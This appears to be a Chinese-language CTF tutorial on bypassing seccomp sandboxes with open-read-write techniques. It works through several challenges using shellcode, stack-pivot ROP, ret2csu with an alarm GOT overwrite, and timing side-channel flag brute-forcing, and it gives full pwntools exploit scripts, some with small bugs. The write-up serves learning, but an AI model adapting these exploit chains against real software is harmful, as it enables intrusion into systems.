orw
沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
如图禁用execve使得我们不能通过系统调用execve拿到shell,因此只能通过调用open, read, write的来读取并打印flag 内容
开启方式
-
prctl函数调用
-
seccomp库函数
分为白箱(只允许白名单的函数调用)和黑箱(禁用黑名单的某些函数)
工具安装
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
查看保护
seccomp-tools dump ./pwn
绕过方式
-
### shellocde绕过
-
### ROP绕过
利用方式
在题目中我们的目标是拿到flag,既然拿不到shell,那就直接读取flag
例题
sandbox
简单的shellocde绕过
ida
void *inited; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
init_io(argc, argv, envp);
banner();
inited = init_UC();
v5 = init_global();
read_from_user(v5);
parse_ins(v5, inited);
init_machine(inited);
emulator(v5, inited);
run(v5);
return 0;
read_from_user
unsigned __int64 __fastcall read_from_user(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-18h] BYREF
void *s; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0LL;
s = 0LL;
puts("How long do you need to enter ?");
printf("> ");
__isoc99_scanf("%ld", &v2);
if ( v2 > 0x200 )
Error("Too long!");
*(_QWORD *)(a1 + 8) = v2;
s = malloc(*(_QWORD *)(a1 + 8));
if ( !s )
Error("Malloc error");
memset(s, 0, *(_QWORD *)(a1 + 8));
*(_QWORD *)a1 = s;
printf("Your input : ");
if ( read(0, *(void **)a1, *(_QWORD *)(a1 + 8)) < 0 )
Error("Read error");
*(_QWORD *)(a1 + 32) = strlen(*(const char **)a1);
puts("OK, I got it...\n");
return __readfsqword(0x28u) ^ v4;
}
- banner输出banner地址,有了此地址可以绕过pie保护
- init_UC、init_global初始化工作,分配堆快
- read_from_user读入用户输入的内容
- parse_ins解析用户输入的内容为汇编指令
- init_machine分配和映射某些地址
- emulator检查了系统调用号,不允许为0x3b
- run将内存赋予可读可写可执行权限执行输入的shellcode
NX保护未开启、存在rwx段
[*] '/home/jinxi/桌面/题目/3/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
用shellcraft构造就行
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('3',bss+0x900,100)
shellcode += shellcraft.write(1,bss+0x900,100)
shellcode = asm(shellcode)
这里read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器,
拿到shell
完整exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
io.recvuntil('A gift for you : ')
elf_addr = eval(io.recv(14))
elf_base = elf_addr - 0x1572
bss = elf_base + 0x5020
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('3',bss+0x900,100)
shellcode += shellcraft.write(1,bss+0x900,100)
shellcode = asm(shellcode)
io.sendlineafter("> ",str(len(shellcode)))
io.sendlineafter("Your input : ", shellcode)
io.interactive()
stack
简单的栈迁移构造rop的orw
看一眼ida
ssize_t func()
{
char buf[320]; // [rsp+0h] [rbp-140h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("please enter your content:");
read(0, buf, 0x150uLL);
printf("%s", buf);
puts("please enter your content again:");
return read(0, buf, 0x150uLL);
}
有两个read功能
[*] '/home/jinxi/桌面/题目/zhy/stack/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开了ASLR和NX保护
思路
- 通过printf泄露出栈的地址
- 栈迁移泄露libc基址
- 再次通过printf泄露出迁移的栈的地址
- 构造orw读取flag
exp如下
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
libc = ELF("./libc-2.23.so")
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
puts_plt = 0x4007E0 # elf.plt['puts']
read_got = elf.got["puts"]
pop_rdi_ret = 0x400B93
leave_ret = 0x400A74
func_addr = 0x400A76
# ret = 0x400799
payload1 = "a" * 0x140
io.sendafter("please enter your content:\n", payload1)
rbp = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("rbp1 -> {:#x}".format(rbp1))
buf = rbp1 - 0x150
payload2 = (
p64(rbp1) + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +
p64(func_addr)
).ljust(0x140, b"\x00")
payload2 += p64(buf) + p64(leave_ret)
io.sendafter("please enter your content again:\n", payload2)
lib = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
success("libc_base -> {:#x}".format(lib))
pop_rdi = lib + next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib + next(libc.search(asm("pop rsi;ret")))
pop_rdx = lib + next(libc.search(asm("pop rdx;ret")))
open_addr = lib + libc.sym["open"]
write_addr = lib + libc.sym["write"]
read_addr = lib + libc.sym["read"]
payload3 = "a" * 0x140
io.sendafter("please enter your content:\n", payload3)
rbp2 = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("rbp2 -> {:#x}".format(rbp2))
buf = rbp2 - 0x270
payload4 = (b"./flag\x00\x00"
+ p64(pop_rdi)+ p64(buf)+ p64(pop_rsi)+ p64(0)+ p64(open_addr)
+ p64(pop_rdi)+ p64(3)+ p64(pop_rsi)+ p64(buf)+ p64(pop_rdx)+ p64(0x100)+ p64(read_addr)
+ p64(pop_rdi)+ p64(1)+ p64(pop_rsi)+ p64(buf)+ p64(pop_rdx)+ p64(0x100)+ p64(write_addr)
).ljust(0x140, b"\x00")
payload4 += p64(buf) + p64(leave_ret)
io.sendafter("please enter your content again:\n", payload4)
io.interactive()
黄河流域 ---- alarm
开启沙箱禁用execve
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
ida
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_4011F6();
alarm(0x50u);
sub_401332();
return 0LL;
}
没有puts函数无法泄露libc,但是存在一个alarm函数(留意一下)
__int64 sub_401332()
{
__int64 result; // rax
int v1; // [rsp+4h] [rbp-Ch]
unsigned int v2; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
srand(0x39u);
for ( i = 0; i <= 2; ++i )
{
v2 = sub_4012D0();
v1 = rand() % 40 + 61;
result = v2;
if ( v2 != v1 )
return result;
}
return sub_40130D();
}
前面就是一个随机数绕过
for i in range (3):
k = libcc.rand()% 40 + 61
io.sendline(str(k))
可以利用的gadget
可以看到没有rdx相关gadget,也没有libc地址
因此考虑ret2csu控制rdx的值
思路
开启了沙箱,只能通过构造orw的方式读取flag,
不存在puts函数无法泄露libc_base
修改alarm的got表为syscall的地址
构造rop拿到shell
过程
查找一下alarm的got地址
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/jinxi/桌面/黄河流域/pwn:
GOT protection: Partial RELRO | Found 7 GOT entries passing the filter
[0x404018] alarm@GLIBC_2.2.5 -> 0x7ffff7eb7d90 (alarm) ◂— endbr64
[0x404020] read@GLIBC_2.2.5 -> 0x7ffff7ee31e0 (read) ◂— endbr64
[0x404028] srand@GLIBC_2.2.5 -> 0x7ffff7e1c5c0 (srandom) ◂— endbr64
[0x404030] prctl@GLIBC_2.2.5 -> 0x7ffff7ef4f50 (prctl) ◂— endbr64
[0x404038] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e59ce0 (setvbuf) ◂— endbr64
[0x404040] atoi@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
[0x404048] rand@GLIBC_2.2.5 -> 0x401090 ◂— endbr64
alarm在libc里面的内容里面有syscall
pwndbg> x/20i 0x00007ffff7eb7d90
0x7ffff7eb7d90 <alarm>: endbr64
0x7ffff7eb7d94 <alarm+4>: mov eax,0x25
0x7ffff7eb7d99 <alarm+9>: syscall ######修改alarm为syscall
0x7ffff7eb7d9b <alarm+11>: cmp rax,0xfffffffffffff001
0x7ffff7eb7da1 <alarm+17>: jae 0x7ffff7eb7da4 <alarm+20>
0x7ffff7eb7da3 <alarm+19>: ret
0x7ffff7eb7da4 <alarm+20>: mov rcx,QWORD PTR [rip+0x1090c5] # 0x7ffff7fc0e70
0x7ffff7eb7dab <alarm+27>: neg eax
0x7ffff7eb7dad <alarm+29>: mov DWORD PTR fs:[rcx],eax
0x7ffff7eb7db0 <alarm+32>: or rax,0xffffffffffffffff
0x7ffff7eb7db4 <alarm+36>: ret
0x7ffff7eb7db5: nop WORD PTR cs:[rax+rax*1+0x0]
0x7ffff7eb7dbf: nop
0x7ffff7eb7dc0 <sleep>: endbr64
0x7ffff7eb7dc4 <sleep+4>: push rbp
0x7ffff7eb7dc5 <sleep+5>: push rbx
0x7ffff7eb7dc6 <sleep+6>: sub rsp,0x28
0x7ffff7eb7dca <sleep+10>: mov rbx,QWORD PTR [rip+0x10909f] # 0x7ffff7fc0e70
0x7ffff7eb7dd1 <sleep+17>: mov rax,QWORD PTR fs:0x28
0x7ffff7eb7dda <sleep+26>: mov QWORD PTR [rsp+0x18],rax
因此可以构造read修改alarm的got为syscall的地址
payload2 = b'a' * 0x48 + p64(pop_rsi_r15) + p64(alarm) + p64(0) + p64(read)
io.sendline('b'\x99'')
exp
from pwn import *
from ctypes import cdll
context(os='linux', arch='amd64', log_level='debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc.so.6")
libcc = cdll.LoadLibrary('./libc.so.6')
libcc.srand(0x39)
for i in range (3):
k = libcc.rand()% 40 + 61
io.sendline(str(k))
sleep(1)
read = elf.plt['read']
alarm = elf.got['alarm']
pop_rdi = 0x4014a3
pop_rsi_r15 = 0x4014a1
pop_rax = 0x401308
csu_1 = 0x40149A
csu_2 = 0x401480
vuln = 0x40130D
bss = elf.bss(0x100)
payload1 = b'a' * 0x48 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read) + p64(vuln)
io.sendline(payload1)
sleep(0.5)
io.sendline(b'./flag\x00\x00')
payload2 = b'a' * 0x48 + p64(pop_rsi_r15) + p64(alarm) + p64(0) + p64(read)
#open
payload2 += p64(pop_rax) + p64(2)
payload2 += p64(csu_1) + p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(alarm) + p64(csu_2)
payload2 += b'a' * 0x38
#read:
payload2 += p64(pop_rax) + p64(0)
payload2 += p64(csu_1) + p64(0) + p64(1) + p64(3) + p64(bss + 0x100) + p64(0x50) + p64(alarm) + p64(csu_2)
payload2 += b'a' * 0x38
#write:
payload2 += p64(pop_rax) + p64(1)
payload2 += p64(csu_1) + p64(0) + p64(1) + p64(1) + p64(bss + 0x100) + p64(0x50) + p64(alarm) + p64(csu_2)
io.sendline(payload2)
io.send(b'\x99')
sleep(1)
io.interactive()
测信道爆破
2021-蓝帽杯初赛-slient
程序在禁用了execve系统调用后,同时关闭了标准输出流(write)后,才有必要使用侧信道爆破
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
本题只允许read和open通过,因此可以进行单个字节的对比爆破,读取flag,随后单字节爆破
ida
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
__int128 v4; // xmm0
__int128 v5; // xmm1
__int128 v6; // xmm2
__int64 v8; // [rsp+48h] [rbp-68h]
__int64 v9; // [rsp+50h] [rbp-60h]
__int128 buf; // [rsp+60h] [rbp-50h] BYREF
__int128 v11; // [rsp+70h] [rbp-40h]
__int128 v12; // [rsp+80h] [rbp-30h]
__int128 v13; // [rsp+90h] [rbp-20h]
unsigned __int64 v14; // [rsp+A0h] [rbp-10h]
v14 = __readfsqword(0x28u);
sub_A60(a1, a2, a3);
v13 = 0LL;
v12 = 0LL;
v11 = 0LL;
buf = 0LL;
puts("Welcome to silent execution-box.");
v3 = getpagesize();
v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
read(0, &buf, 0x40uLL);
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(4, 0LL);
v8 = seccomp_init(0LL);
seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
seccomp_load(v8);
v4 = buf;
v5 = v11;
v6 = v12;
*(_OWORD *)(v9 + 48) = v13;
*(_OWORD *)(v9 + 32) = v6;
*(_OWORD *)(v9 + 16) = v5;
*(_OWORD *)v9 = v4;
((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);
return 0LL;
}
exp1
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
context.log_level='debug'
context(os='linux', arch='amd64')
s=4 #0 4 8 12 16 20 四个字节一组爆破
e=8 #4 8 12 16 20 24
flag=""
for i in range(s,e):
for j in range(0x20,0x80):
io=process("./pwn")
io.recvuntil(b"Welcome to silent execution-box.\n")
payload=shellcraft.open("flag") ####打开flag文件
payload=payload+shellcraft.read("rax",0x10080,30)
payload=payload+'''
loop:
cmp byte ptr [0x10080+{0}],{1}
je loop
'''.format(i,j)
io.sendline(asm(payload))
begin=time.time()
try:
io.recv(timeout=3)
io.close()
except:
pass
io.close()
end=time.time()
if end-begin>2:
flag=flag+chr(j)
print("第",s,"位"+"到第",e-1,"位的内容:",flag)
break